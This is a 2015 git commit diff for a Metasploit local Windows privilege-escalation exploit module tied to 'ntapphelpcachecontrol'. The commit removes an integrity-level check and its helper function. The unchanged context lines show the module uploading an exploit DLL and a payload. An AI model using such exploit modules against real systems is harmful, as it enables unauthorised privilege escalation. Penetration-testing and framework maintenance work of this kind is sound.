Another update

bug/bundler_fix
sinn3r 2015-01-08 18:39:04 -06:00
parent b2ff5425bc
commit b65013c5c5
1 changed files with 0 additions and 35 deletions

View File

@ -104,33 +104,6 @@ class Metasploit3 < Msf::Exploit::Local
end
end
def get_integrity_info
integrity = get_integrity_level
case integrity
when 'S-1-16-4096'
symbol = 'Low'
level = 0
when 'S-1-16-8192'
symbol = 'Medium'
level = 1
when 'S-1-16-12288'
symbol = 'High'
level = 2
when 'S-1-16-16384'
symbol = 'System'
level = 3
else
symbol = 'Unknown'
level = -1
end
{
:symbol => symbol,
:level => level
}
end
def upload_exploit
lib_file_path = ::File.join(
Msf::Config.data_directory, "exploits", "ntapphelpcachecontrol", "exploit.dll"
@ -146,14 +119,6 @@ class Metasploit3 < Msf::Exploit::Local
end
def exploit
# Checking integirty
integrity = get_integrity_info
print_status("Your current integrity level is: #{integrity[:symbol]}")
if integrity[:level] > 1
print_status("Your integrity level is high enough this exploit isn't suitable for you")
return
end
print_status("Uploading the payload DLL")
upload_payload